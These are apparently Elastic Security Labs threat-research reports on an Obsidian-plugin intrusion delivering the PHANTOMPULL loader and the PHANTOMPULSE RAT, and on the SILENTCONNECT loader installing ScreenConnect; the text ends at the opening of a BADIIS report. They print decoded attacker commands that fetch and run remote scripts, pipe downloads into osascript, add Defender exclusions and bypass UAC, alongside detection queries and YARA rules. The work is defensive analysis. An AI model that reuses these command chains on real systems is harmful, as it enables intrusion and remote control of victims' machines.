The threat actors operate under the guise of a venture capital firm, initiating contact with targets through LinkedIn. After initial engagement, the conversation moves to a Telegram group where multiple purported partners participate, lending credibility to the interaction. The discussion centers around financial services, specifically cryptocurrency liquidity solutions, creating a plausible business context.

The target is asked to use Obsidian, presented as the firm's "management database", for accessing a shared dashboard. The target is provided credentials to connect to a cloud-hosted vault controlled by the attacker.

This vault is the initial access vector. Once opened in Obsidian, the target is instructed to enable community plugins sync. After that, the trojanized plugins silently execute the attack chain.

Initial access

An Elastic Defend behavior alert triggered on suspicious PowerShell execution with Obsidian as the parent process. This immediately caught our attention. Initially, we suspected an untrusted binary masquerading as Obsidian. However, after inspecting the parent process code signature and hash, it appeared to be the legitimate Obsidian binary.

Pivoting on the process event call stack to determine whether a third-party DLL sideload or unbacked memory region was involved, we confirmed that the process creation originated directly from Obsidian itself.

We then investigated the surrounding files for signs of JavaScript injection via modification of dependency files or malicious .asar file planting. Everything appeared to be a clean, legitimate Obsidian installation with no third-party code. At that point, we decided to install Obsidian ourselves and explore what options an attacker could abuse to achieve command execution.

The first thing that stood out was the ability to log in to an Obsidian-synced vault with an email and password.

Obsidian's vault sync feature allows notes and files to be synchronized across devices and platforms. While reviewing the files of the malicious remote vault under the .obsidian config folder, we found evidence that the Shell Commands community plugin had been installed:

C:\Users\user\Documents\\.obsidian\plugins\obsidian-shellcommands\data.json

The Shell Commands plugin allows users to execute platform-specific shell commands based on configurable triggers such as Obsidian startup, close, every N seconds, and others.

The contents of data.json confirmed our theory: the configured commands matched exactly what we had observed in the original PowerShell behavior alert.

To validate the full attack chain, we attempted to replicate the behavior end-to-end across two machines, a host and a VM using a paid Obsidian Sync license. On the host, we installed the Shell Commands community plugin with a custom command configured to spawn notepad.exe on startup. On the VM, we logged in to the same Obsidian account and connected to the remote vault.

The synced vault on the VM received the base configuration files (app.json, appearance.json, core-plugins.json, workspace.json), but notably the plugins/ directory and community-plugins.json were absent entirely. This is because Obsidian's Sync settings expose two separate toggles "Active community plugin list" and "Installed community plugins" both of which are disabled by default and are local client-side preferences that do not propagate through sync.

As shown below, the plugins and community_plugins manifest are not synced automatically (any file inside the .obsidian directory).

However, once enabled, the Shell Commands plugin immediately triggers execution of attacker-defined commands on vault open:

This means an attacker cannot remotely force the installation or enablement of a community plugin via vault sync alone. The victim must manually enable the community plugin sync on their device before the weaponized plugin configuration pulls down and triggers execution.

In the case we investigated, the attacker provided Obsidian account credentials directly to the victim as part of a social engineering lure, likely instructing them to log in, enable community plugin sync, and connect to the pre-staged vault. Once those steps were completed, the Shell Commands plugin and its data.json configuration synced automatically, and on the next configured trigger, the payload executed without any further interaction.

While this attack requires social engineering to cross the community plugin sync boundary, the technique remains notable: it abuses a legitimate application feature as a persistence and command execution channel, the payload lives entirely within JSON configuration files that are unlikely to trigger traditional AV signatures, and execution is handed off by a signed, trusted Electron application, making parent-process-based detection the critical layer.

Alongside the Shell Commands plugin, the author used Hider (v1.6.1), a UI-cleanup plugin that hides interface elements. With every concealment option enabled, the following is the configuration:

{
  "hideStatus": true,
  "hideTabs": true,
  "hideScroll": true,
  "hideSidebarButtons": true,
  "hideTooltips": true,
  "hideFileNavButtons": true,
}

Windows execution chain

Stage 1

The Shell Commands plugin's Windows command contained two Invoke-Expression calls with Base64-encoded strings that decode to the following:

iwr http://195.3.222[.]251/script1.ps1 -OutFile env:TEMP\tt.ps1 -UseBasicParsing powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "env:TEMP\tt.ps1"

This will download a second-stage PowerShell script from a hardcoded IP address and execute it.

Stage 2

The downloaded PowerShell script (script1.ps1) implements a loader-delivery mechanism with a built-in operator-notification system. The script uses BitsTransfer to download the next-stage binary and reports its progress to the C2.

Import-Module BitsTransfer
Start-BitsTransfer -Source 'http://195.3.222[.]251/syncobs.exe?q=%23OBSIDIAN' `
  -Destination "$env:TEMP\syncobs.exe"

After the download, the script verifies the file's existence and reports the outcome to the C2 at 195.3.222[.]251/stuk-phase. It appears that the prepended characters (G, R) to the Status Message, declaring GREEN or RED as a status color code. The following is a table of all the status messages:

The tag parameter (Obsidian) sent with each status update identifies the campaign or infection vector, suggesting the operators might be running multiple concurrent campaigns.

if ($started) {
    Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "GLAUNCH SUCCESS"; tag = $tag }
} else {
    Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "RLAUNCH FAILED"; tag = $tag }
}
Start-Sleep -Seconds 3

Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "GSESSION CLOSED"; tag = $tag }

Loader - PHANTOMPULL

This loader is a 64-bit Windows PE executable that extracts an AES-256-CBC-encrypted PE payload from its own resources, decrypts it, and reflectively loads it into memory. This in-memory payload then downloads the next stage from the domain (panel.fefea22134[.]net) over HTTPS.

The third-stage payload (PHANTOMPULSE) is then decrypted and loaded reflectively via DllRegisterServer. This loader, which we are calling PHANTOMPULL, includes runtime API resolution and timer-queue-based execution. This sample includes minor forms of evasion/obfuscation, along with dead code; these techniques are used as an anti-analysis trick to waste the analyst's time investigating the malware.

Execution Flow

Stage 1

Stage 2

Fake Integrity Check

The loader begins with a strange start using a dead-code guard that compares GetTickCount() against the hex value (0xFFFFFFFE) — a value that corresponds to approximately 49.7 days of continuous system uptime, making the condition virtually unreachable. The guarded block contains convincing but unreachable anti-tamper functions designed to waste analysts' time during reverse engineering.

The anti_tamper_integrity_checksum() function is also pretty strange; it doesn’t actually hash any of the underlying bytes, but sums all the function addresses in the binary. The checksum is never compared to anything; this is likely an intended anti-analysis technique to waste analyst time and bloat the binary.

API Hashing

This loader resolves API functions dynamically at runtime using the djb2 hashing algorithm with seed 0x4E67C6A7. The following APIs were resolved:

VirtualAlloc
VirtualProtect
VirtualFree
LoadLibraryA
GetProcessAddress

Resource Extraction + Decryption

PHANTOMPULL stores its encrypted in-memory payload inside its own resources.

In order to extract the bytes, it uses FindResourceA, locating the resource type (RT_RCDATA) under ID (101). The resource is mapped into memory and copied into a region marked with PAGE_READWRITE permissions.

Next, the loader performs AES-256-CBC decryption using BCryptOpenAlgorithmProvider. The key is hardcoded in the .rdata section

Key: 6a85736b64761a8b2aaeadc1c0087e1897d16cc5a9d49c6a6ea1164233bad206

The IV is also hard-coded on the stack: A6FA4ADFC20E8E6B77E2DD631DC8FF18

After decryption, the loader validates the output is a valid PE by checking the MZ header magic value with a comparison instruction using a hard-coded value (0x0C1DF) that gets XOR’d with (0x9B92), equaling the PE magic header (0x5a4d). This is an example of some of the lightweight obfuscation efforts that often seem awkward and don't fit in.

Execution

Rather than calling the payload directly (which is easily detected by sandboxes), the loader uses a timer queue callback. The 50ms delay and separate-thread execution can evade various security/sandbox tooling.

Inside the callback is the reflective PE-loading functionality, which is then used to execute the next stage.

This reflective loading function is the core execution component. It copies the PE headers, maps each section into memory, applies base relocations, resolves imports, and sets the final section protections — producing a fully functional, memory-resident PE that never touches disk.

Execution is then transferred to the second stage via an indirect call rbp instruction, where RBP holds the computed entry point address of the reflectively loaded PE.

Second Stage

The second stage is responsible for downloading the remotely hosted payload (PHANTOMPULSE) and for using a similar reflective-loading technique to launch the implant. This stage starts by creating a mutex from an XOR operation with two hard-coded global variables.

The mutex name for this sample is: hVNBUORXNiFLhYYh

After the mutex is created, this code enters a persistent loop that attempts to download the payload from the C2 server. If the download successfully returns a valid buffer, it breaks out and proceeds to the reflective loading stage.

On failure, the code employs an exponential backoff — starting with a 5-second sleep and multiplying by 1.5x on each retry, capping just under 5 minutes. This avoids a fixed beacon interval that would be trivially fingerprinted in network traffic.

The downloader functionality starts by decrypting the C2 and URL.

The C2 and URL are both decrypted using a simple string decryption function using a 16-byte rotating key (f77c8e40dfc17be5e74d8679d5b35341).

Next, the malware builds the HTTPS request, appending the string using the URI /v1/updates/check?build=payloads and setting the User Agent (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36). This loader uses the WinHTTP library to connect to the C2 on port 443.

The malware takes the buffer from the remote C2 URL and decrypts the payload with a 16-byte XOR key (dcf5a9b27cbeedb769ccc8635d204af9)

Below are the first bytes of the XOR-encoded payload:

Below are the first bytes after the XOR takes place:

After the download and XOR operations, PHANTOMPULL parses the payload and reflects the DLL using DLLRegisterServer.

By quickly checking the strings, we can see the main backdoor, PHANTOMPULSE:

RAT - PHANTOMPULSE

PHANTOMPULSE is a sophisticated 64-bit Windows RAT designed for stealth, resilience, and comprehensive remote access. The binary exhibits strong indicators of AI-assisted development: Debug strings throughout the code are abnormally verbose, self-documenting, and follow a structured step-numbering pattern ([STEP 1], [STEP 1/3], [STEP 2/3])

During our research, we discovered that the C2 infrastructure had a publicly exposed panel branded as “Phantom Panel", featuring a login page with username, password, and captcha fields. The panel's design and structure suggest it was also AI-generated, consistent with the development patterns observed in the RAT itself.

C2 rotation through blockchain

PHANTOMPULSE implements a decentralized C2 resolution mechanism using public blockchain infrastructure as a dead drop. The malware's primary method for obtaining its C2 URL is by resolving it from on-chain transaction data. A hardcoded C2 URL serves as a fallback if the blockchain resolution fails after repeated attempts.

The malware queries the Etherscan-compatible API (/api?module=account&action=txlist&address=&page=1&offset=1&sort=desc) on three Blockscout instances:

eth.blockscout[.]com (Ethereum L1)
base.blockscout[.]com (Base L2)
optimism.blockscout[.]com (Optimism L2)

Each request fetches the most recent transaction associated with a hardcoded wallet address (0xc117688c530b660e15085bF3A2B664117d8672aA), which is itself XOR-encrypted in the binary. The malware parses the transaction's input data field from the JSON response, strips the 0x prefix, hex-decodes the raw bytes, and XOR-decrypts the result using the wallet address as the XOR key. If the decrypted output begins with http, it is accepted as the new active C2 URL.

This technique provides the operator with an infrastructure-agnostic rotation capability: publishing a new C2 endpoint requires only submitting a transaction with crafted calldata to the wallet on any of the three monitored chains. Because blockchain transactions are immutable and publicly accessible, the malware can always locate its C2 without relying on centralized infrastructure. The use of three independent chains adds redundancy: even if one chain's explorer is blocked or unavailable, the remaining two provide alternative resolution paths.

However, this design introduces a significant weakness. The Blockscout API returns all transactions involving the wallet address, both sent and received, sorted in reverse chronological order. The malware does not verify the sender of the transaction. This means any third party who knows the wallet address and the XOR key (both recoverable from the binary) can craft a transaction to the wallet containing a competing input payload. Because the malware always selects the most recent transaction, a single inbound transaction with a more recent timestamp would override the operator's intended C2 URL. In practice, this allows anyone to hijack the C2 resolution by submitting a sinkhole URL encoded with the same XOR scheme, effectively redirecting all infected hosts away from the attacker infrastructure.

C2 communication

PHANTOMPULSE uses WinHTTP for C2 communication, dynamically loading winhttp.dll and resolving all required functions at runtime. The C2 infrastructure is built around five API endpoints:

| Endpoint | Method | Purpose | | ----- | ----- | ----- | | /v1/telemetry/report | POST | Heartbeat with system telemetry | | /v1/telemetry/tasks/ | GET | Command fetch | | /v1/telemetry/upload/ | POST | Screenshot/file upload | | /v1/telemetry/result | POST | Command result delivery | | /v1/telemetry/keylog/ | POST | Keylog data upload |

The heartbeat sends comprehensive system telemetry as JSON, including CPU model, GPU, RAM, OS version, username, privilege level, public IP, installed AV products, installed applications, and the results of the last command execution.

Command table

The command dispatcher parses JSON responses from the C2 to extract and hash commands via the djb2 algorithm. This hash is processed by a switch-case statement to execute the corresponding logic, as seen in the pseudocode below:

| Hash | Command | Action | | ----- | ----- | ----- | | 0x04CF1142 | inject | Inject shellcode/DLL/EXE into target process | | 0x7C95D91A | drop | Drop the file to the disk and execute | | 0x9A37F083 | screenshot | Capture and upload a screenshot | | 0x08DEDEF0 | keylog | Start/stop keylogger | | 0x4EE251FF | uninstall | Full persistence removal and cleanup | | 0x65CCC50B | elevate | Escalate to SYSTEM via COM elevation moniker | | 0xB3B5B880 | downgrade | SYSTEM -> elevated admin transition | | 0x20CE3BC8 | | Resolves APIs, calls ExitProcess(0) self-termination |

MacOS execution chain

Stage 1: AppleScript via osascript

The Shell commands plugin's macOS command executes a Base64-encoded payload through osascript.

The decoded payload performs two primary actions:

LaunchAgent persistence: Creates a persistent LaunchAgent plist at ~/Library/LaunchAgents/com.vfrfeufhtjpwgray.plist configured with KeepAlive and RunAtLoad set to true, ensuring the second-stage payload executes on every login and restarts if terminated.

Second-stage execution: The LaunchAgent executes a heavily obfuscated AppleScript dropper through /bin/bash -c piped into osascript.

Stage 2: Obfuscated AppleScript dropper

The second-stage payload is an obfuscated AppleScript dropper that employs multiple evasion techniques.

String obfuscation: All sensitive strings (domains, URLs, user-agent values) are constructed at runtime using ASCII character, character id, and string id calls, preventing static string extraction:

property __tOlA5QTO5I : {(string id {48, 120, 54, 54, 54, 46, 105, 110, 102, 111})}
-- Decodes to: "0x666.info"

Decoy variables: Numerous unused variables with random names and values are defined to increase entropy and hinder analysis.

Fragmented concatenation: Strings are split across mixed encoding methods, combining literal fragments with character-ID lookups to defeat pattern matching.

C2 resolution with Telegram fallback

The dropper implements a layered C2 resolution strategy:

Primary: Iterates over a hardcoded domain list (including 0x666[.]info), sending a POST request with body "check" to validate C2 availability
Fallback: If the primary domain is unreachable, scrapes a public Telegram channel (t[.]me/ax03bot) to extract a backup domain

This Telegram dead-drop technique allows operators to rotate C2 infrastructure, making domain-based blocking insufficient as a sole mitigation.

Payload retrieval

Once a C2 is resolved, the script downloads and pipes a second-stage payload directly into osascript:

curl -s --connect-timeout 5 --max-time 10 --retry 3 --retry-delay 2 -X POST  \
  -H "User-Agent: "-d "txid=346272f0582541ae5dd08429bb4dc4ff&bmodule"| osascript

The victim identifier (txid) and module selector (bmodule) are sent as POST parameters. The response is expected to be another AppleScript payload executed immediately. At the time of analysis, the C2 servers for the macOS chain were offline, preventing the collection of subsequent stages.

Infrastructure analysis

Wallet activity

Examining the on-chain activity for the hardcoded wallet (0xc117688c530b660e15085bF3A2B664117d8672aA) reveals the operator's C2 rotation history. The two most recent transactions are self-transfers (wallet to itself), each encoding a different C2 URL in the transaction input data:

| Date (UTC) | Decoded C2 URL | | ----- | ----- | | Feb 19, 2026 12:29:47 | https://panel.fefea22134[.]net | | Feb 12, 2026 22:01:59 | https://thoroughly-publisher-troy-clara[.]trycloudflare[.]com |

The use of a Cloudflare Tunnel domain (trycloudflare[.]com) as a prior C2 endpoint is notable, as it allows the operator to expose a local server through Cloudflare's infrastructure without registering a domain, providing an additional layer of anonymity.

The wallet was initially funded on Feb 12, 2026, at 21:39:47 UTC by a separate account (0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E) with a transfer of $5.84 and an empty input field (0x), confirming this was purely a funding transaction. The funding wallet itself has conducted approximately 50 transactions over the past three months, which provides a potential pivot point for uncovering additional campaigns operated by the same threat actor.

Payload staging server

The initial payload delivery server at 195.3.222[.]251 is hosted on AS 201814 (MEVSPACE sp. z o.o.), a Polish hosting provider.

PhantomPulse C2 panel

The domain fefea22134[.]net resolves to Cloudflare IPs (104.21.79[.]142 and 172.67.146[.]15), indicating the C2 panel sits behind Cloudflare's proxy. Historical passive DNS shows the domain was first resolved on 2026-03-12, with earlier resolutions pointing to different IPs (188.114.97[.]1 and 188.114.96[.]1) on 2026-03-20.

The domain uses a Let's Encrypt certificate first observed on 2026-03-12:

Serial: 5130b76e63cd41f11e6b7c2a77f203f72b4
Thumbprint: 6c0a1da746438d68f6c4ffbf9a10e873f3cf0499
Validity: 2026-02-19 to 2026-05-20

The certificate issuance date (Feb 19) aligns with the most recent blockchain C2 rotation transaction encoding panel.fefea22134[.]net, suggesting the infrastructure was provisioned the same day the C2 URL was published on-chain.

Conclusion

REF6598 demonstrates how threat actors continue to find creative initial access vectors by abusing trusted applications and employing targeted social engineering. By abusing Obsidian's community plugin ecosystem rather than exploiting a software vulnerability, the attackers bypass traditional security controls entirely, relying on the application's intended functionality to execute arbitrary code.

In the observed intrusion, Elastic Defend detected and blocked the attack chain at the early stage before PHANTOMPULSE could execute, preventing the threat actor from achieving their objectives. The behavioral protections triggered on the anomalous process execution originating from Obsidian, stopping the payload delivery in its tracks.

Organizations in the financial and cryptocurrency sectors should be aware that legitimate productivity tools can be turned into attack vectors. Defenders should monitor for anomalous child process creation from applications like Obsidian and enforce application-level plugin policies where possible. The indicators and detection logic provided in this research can be used to identify and respond to this activity.

Elastic Security Labs will continue to monitor REF6598 for further developments, including additional macOS payloads once the associated C2 infrastructure becomes active.

MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Detecting REF6598

Detection

The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:

Suspicious Windows Powershell Arguments

Prevention

Hunting queries in Elastic

These hunting queries are used to identify the presence of the Obsidian community shell command plugin as well as the resulting command execution :

KQL

event.category : file and process.name : (Obsidian or Obsidian.exe) and
 file.path : *obsidian-shellcommands*

event.category : process and event.type : start and
 process.name : (sh or bash or zsh or powershell.exe or cmd.exe) and 
 process.parent.name : (Obsidian.exe or Obsidian)

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the PHANTOMPULL and PHANTOMPULSE

rule Windows_Trojan_PhantomPull {
    meta:
        author = "Elastic Security"
        os = "Windows"
        category_type = "Trojan"
        family = "PhantomPull"
        threat_name = "Windows.Trojan.PhantomPull"
        reference_sample = "70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980"

    strings:
        $GetTickCount = { 48 83 C4 80 FF 15 ?? ?? ?? ?? 83 F8 FE 75 }
        $djb2 = { 45 8B 0C 83 41 BA A7 C6 67 4E 49 01 C9 45 8A 01 }
        $mutex = { 48 89 EB 83 E3 ?? 45 8A 2C 1C 45 32 2C 2E 45 0F B6 FD }
        $str_decrypt = { 39 C2 7E ?? 49 89 C1 41 83 E1 ?? 47 8A 1C 0A 44 32 1C 01 45 88 1C 00 48 FF C0 }
        $payload_decrypt = { 4C 89 C8 83 E0 0F 41 8A 14 02 43 30 14 0F 49 FF C1 44 39 CB }
        $url = "/v1/updates/check?build=payloads" ascii fullword
    condition:
        3 of them
}

rule Windows_Trojan_PhantomPulse {
    meta:
        author = "Elastic Security"
        os = "Windows"
        category_type = "Trojan"
        family = "PhantomPulse"
        threat_name = "Windows.Trojan.PhantomPulse"
        reference_sample = "9e3890d43366faec26523edaf91712640056ea2481cdefe2f5dfa6b2b642085d"

    strings:
        $a = "[UNINSTALL 2/6] Removing Scheduled Task..." fullword
        $b = "PhantomInject: host PID=%lu" fullword
        $c = "inject: shellcode detected -> InjectShellcodePhantom" fullword
        $d = "inject: shellcode detected, using phantom section hijack" fullword
    condition:
        all of them
}

Observations

The following observables were discussed in this research.

| Observable | Type | Name | Reference | | ----- | ----- | ----- | ----- | | 70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980 | SHA-256 | syncobs.exe | PHANTOMPULL loader | | 33dacf9f854f636216e5062ca252df8e5bed652efd78b86512f5b868b11ee70f | SHA-256 | | PhantomPulse RAT (final payload) | | 195.3.222[.]251 | ipv4-addr | | Staging server (PowerShell script & loader delivery) | | panel.fefea22134[.]net | domain-name | | PhantomPulse C2 panel | | 0x666[.]info | domain-name | | macOS dropper C2 domain | | t[.]me/ax03bot | url | | macOS dropper Telegram fallback C2 | | 0xc117688c530b660e15085bF3A2B664117d8672aA | crypto-wallet | | Ethereum wallet for blockchain C2 resolution | | 0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E | crypto-wallet | | Funding wallet for C2 resolution wallet | | thoroughly-publisher-troy-clara[.]trycloudflare[.]com | domain-name | | Prior PhantomPulse C2 (Cloudflare Tunnel) |

From Invitation to Infection: How SILENTCONNECT Delivers ScreenConnect

Daniel Stepanic,Salim Bitam — Thu, 19 Mar 2026 00:00:00 GMT

Introduction

Elastic Security Labs is observing malicious campaigns delivering a multi-stage infection involving a previously undocumented loader. The infection begins when users are diverted to a Cloudflare Turnstile CAPTCHA page under the guise of a digital invitation. After the link is clicked, a VBScript file is downloaded to the machine. Upon execution, the script retrieves C# source code, which is then compiled and executed in memory using PowerShell. The final payload observed in these campaigns is ScreenConnect, a remote monitoring and management (RMM) tool used to control victim machines.

This campaign highlights a common theme: attackers abusing living-off-the-land binaries (LOLBins) to facilitate execution, as well as using trusted hosting providers such as Google Drive and Cloudflare. While the loader is small and straightforward, it appears to be quite effective and has remained under the radar since March 2025.

Key takeaways

SILENTCONNECT is a newly discovered loader actively being used in-the-wild
This loader silently installs ConnectWise ScreenConnect, enabling hands-on keyboard access to victim machines
Campaigns distributing SILENTCONNECT use hosting infrastructure from Cloudflare and Google Drive
SILENTCONNECT uses NT API calls, PEB masquerading and includes Windows Defender exclusion and User Account Control (UAC) bypass

SILENTCONNECT infection chain

In the first week of March, our team observed a living off-the-land style infection generating multiple behavioral alerts over a short period.

The initial VBScript download triggered our Suspicious Windows Script Downloaded from the Internet rule, which let us pivot to the source of the infection using the associated file.origin_url and file.origin_referrer_url fields.

By navigating to the original landing page, we observed a Cloudflare Turnstile CAPTCHA page. After clicking the human verification checkbox, a VBScript file (E-INVITE.vbs) is downloaded to the machine.

Below is the source code of the landing page, we can see that the VBScript file (E-INVITE.vbs) is hosted on Cloudflare’s object storage service r2.dev.

Below are other VBScript filenames observed in the last month related to these campaigns:

Alaska Airlines 2026 Fleet & Route Expansion Summary.vbs
CODE7_ZOOMCALANDER_INSTALLER_4740.vbs
2025Trans.vbs
Proposal-03-2026.vbs
2025Trans.vbs
updatv35.vbs

The VBScripts are minimally obfuscated, using a children’s story as a decoy, and employ the Replace() and Chr() functions to hide the next stage.

This script de-obfuscates to the following command-line output:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass 
  -command ""New-Item -ItemType Directory -Path 'C:\Windows\Temp' -Force | Out-Null; 
  curl.exe -L 'hxxps://drive.google[.]com/uc?id=1ohZxxT-h7xWVgclB1kvpvwkF0AGWoUtq&export=download' 
  -o 'C:\Windows\Temp\FileR.txt';Start-Sleep -Seconds 
  8;$source = [System.IO.File]::ReadAllText('C:\Windows\Temp\FileR.txt');Start-Sleep 
  -Seconds 1;Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $source 
  -Language CSharp; [HelloWorld]::SayHello()""

This snippet uses PowerShell to invoke curl.exe to download a C# payload from Google Drive, which is then written to the disk with the file name (C:\Windows\Temp\FileR.txt).

The retrieved C# source code uses an obfuscation technique known as constant unfolding to conceal the byte array used for reflective in-memory execution.

Finally, the PowerShell command compiles the downloaded C# source (FileR.txt) at runtime using Add-Type, loads it into memory as a .NET assembly, and executes it via the [HelloWorld]::SayHello() method.

SILENTCONNECT

The following section covers the .NET loader family we call SILENTCONNECT. The sample is relatively small and straightforward, primarily designed to download a remote payload (ScreenConnect) and install it silently on the system.

After sleeping for 15 seconds, the malware allocates executable memory using the native Windows API function via NtAllocateVirtualMemory, assigning the region PAGE_EXECUTE_READWRITE permissions. SILENTCONNECT stores an embedded byte array containing the following shellcode:

53                        ; push rbx
48 31 DB                  ; xor rbx, rbx
48 31 C0                  ; xor rax, rax
65 48 8B 1C 25 60000000   ; mov rbx, gs:[0x60]  ← PEB address (x64)
48 89 D8                  ; mov rax, rbx        ← return value
5B                        ; pop rbx
C3                        ; ret

This small shellcode is moved into the recently allocated memory using Marshal.Copy. Next, the malware executes the shellcode in order to retrieve the address of the Process Environment Block (PEB). This approach allows the malware to access process structures directly while avoiding higher-level Windows APIs that are commonly monitored or hooked by security products.

SILENTCONNECT uses NTAPIs from ntdll.dll (Native APIs) and ole32.dll (COM APIs) during the delegate setup stage, enabling the malware to invoke functions such as NtWriteVirtualMemory or CoGetObject directly from.NET.

PEB Masquerading

SILENTCONNECT implements a common malware evasion technique known as PEB masquerading. All Windows processes include a kernel-maintained structure known as the Process Environment Block (PEB). This structure contains a linked list of loaded modules. Inside each linked list are entries that contain the module’s base address, DLL name, and full path. SILENTCONNECT goes through this structure, finding its own module, then overwrites its BaseDLLName and FullDllName to winhlp32.exe and c:\windows\winhlp32.exe.

Many security tooling, including EDRs, use the PEB as a trusted source to detect suspicious activity. This technique can fool these products by using a benign name and path to hide itself.

Before launching the payload, the malware implements a UAC bypass using the function LaunchElevatedCOMObjectUnsafe with the moniker string reversed: :wen!rotartsinimdA:noitavelE -> Elevation:Administrator!new:

If the malware is in an un-elevated state, it will attempt to use the UAC bypass technique via CMSTPLUA COM interface. The launch parameters are stored in a character array in reverse order as a simple obfuscation technique.

The first part of this obfuscated command adds a Microsoft Defender exclusion for .exe files.

$ConcreteDataStructure=[char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+
[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]
101;$s=[char](23+23)+[char]101+[char]120+[char]101;&($ConcreteDataStructure) 
-ExclusionExtension $s -Force;

Below is the result of this command in Defender with the exception added:

After adding the exclusion, SILENTCONNECT creates a temporary directory (C:\Temp) and uses curl.exe to download the malicious ScreenConnect client installer into it. It then invokes msiexec.exe to silently install the RMM. Below is the second-half of the command-line:

New-Item -ItemType Directory -Path 'C:\Temp' -Force | Out-Null; curl.exe -L 
 'hxxps://bumptobabeco[.]top/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest'
  -o 'C:\Temp\ScreenConnect.ClientSetup.msi'; Start-Process msiexec.exe '/i 
  C:\Temp\ScreenConnect.ClientSetup.msi'"

Following installation, the ScreenConnect client persists as a Windows service and beacons to the adversary-controlled ScreenConnect server at bumptobabeco[.]top over TCP port 8041.

SILENTCONNECT campaign

The primary initial access vector for these campaigns starts from phishing emails. We identified an email sample (YOU ARE INVITED.eml) uploaded to VirusTotal from a campaign last year.

The email is sent from dan@checkfirst[.]net[.]au and impersonates a project proposal invitation from a fake company. The email body invites the recipient to submit a proposal by clicking a link. This link redirects the victim to attacker-controlled infrastructure imansport[.]ir/download_invitee.php.

Notably, the threat actor reused the same URI path (download_invitee.php) across all compromised websites to deliver the payload. This consistent naming convention represents a poor operational security (OPSEC) practice, as it provided a reliable pivot point for tracking the campaign's infrastructure and identifying additional compromised hosts through VirusTotal searches such as entity:url url:download_invitee.php.

We also uncovered various legitimate websites that were compromised and used the same infrastructure to facilitate other fraudulent schemes. For example, one URL (solpru[.]com/process/docusign[.]html) hosts a page that closely mimics the DocuSign electronic signature platform.

Fake DocuSign portal

This chain completely jumps SILENTCONNECT by downloading a preconfigured ScreenConnect MSI that automatically connects to the actor’s server (instance-lh1907-relay.screenconnect[.]com).

Another page on a different domain impersonates a Microsoft Teams page and requests that the user download a file, which leads to abuse of the Syncro RMM Agent.

Conclusion

Elastic Security Labs continues to see an uptick in RMM adoption by threat actors. As these tools are used by legitimate IT departments, they are typically overlooked and considered “trusted” in most corporate environments. Organizations must stay vigilant, auditing their environments for unauthorized RMM usage.

While this particular group went a step further by writing a custom loader, the majority of their infection chain leverages Windows binaries to evade detection and blend in with normal system activity. The abuse of trusted platforms such as Google Drive and Cloudflare for payload hosting and lure delivery further complicates detection, as network-based controls are unlikely to block traffic to these services outright. As threat actors continue to favor simplicity and stealth over sophistication, campaigns of this nature are likely to persist and evolve.

SILENTCONNECT and MITRE ATT&CK

Elastic uses the MITRE ATT\&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Detecting SILENTCONNECT

YARA

Elastic Security has created the following YARA rules to identify this activity:

rule Windows_Trojan_SilentConnect_cdc03e84 {
    meta:
        author = "Elastic Security"
        creation_date = "2026-03-04"
        last_modified = "2026-03-04"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.SilentConnect"
        reference_sample = "8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db"
        license = "Elastic License v2"
    strings:
        $peb_evade = "winhlp32.exe" wide fullword
        $rev_elevation = "wen!rotartsinimdA:noitavelE" wide fullword
        $masquerade_peb_str = "MasqueradePEB" ascii fullword
        $guid = "3E5FC7F9-9A51-4367-9063-A120244FBEC7" wide fullword
        $unique_str = "PebFucker" ascii fullword
        $peb_shellcode = { 53 48 31 DB 48 31 C0 65 48 8B 1C 25 60 00 00 00 }
        $rev_screenconnect = "tcennoCneercS" ascii wide
    condition:
        5 of them
}

Observations

The following observables were discussed in this research.

BADIIS to the Bone: New Insights to a Global SEO Poisoning Campaign

Jia Yu Chan,Daniel Stepanic,Cyril François — Wed, 11 Feb 2026 00:00:00 GMT

Introduction

In November 2025, Elastic Security Labs observed an intrusion affecting a multinational organization based in Southeast Asia. During the analysis of this activity, our team observed various post-compromise techniques and tooling used to deploy BADIIS malware onto a Windows web server. These observations align with previous reporting from Cisco Talos and Trend Micro from last year.

This threat group has amassed more victims and is coordinating a large-scale SEO poisoning operation from countries across the globe. Our visibility into the campaign indicates a complex, geotargeted infrastructure designed to monetize compromised servers by redirecting users to a broad network of illicit websites such as online gambling platforms and cryptocurrency schemes.

Key takeaways

Elastic Security Labs observes large-scale SEO poisoning campaigns targeting IIS servers with BADIIS malware globally, impacting over 1,800 Windows servers
Compromised servers are monetized through a web of infrastructure used to target users with gambling advertisements and other illicit websites
Victim infrastructure includes governments, various corporate organizations, and educational institutions from Australia, Bangladesh, Brazil, China, India, Japan, Korea, Lithuania, Nepal, and Vietnam
This activity corresponds with the threat group, UAT-8099, identified by Cisco Talos last October, and is consistent with prior reporting from Trend Micro

Campaign Overview

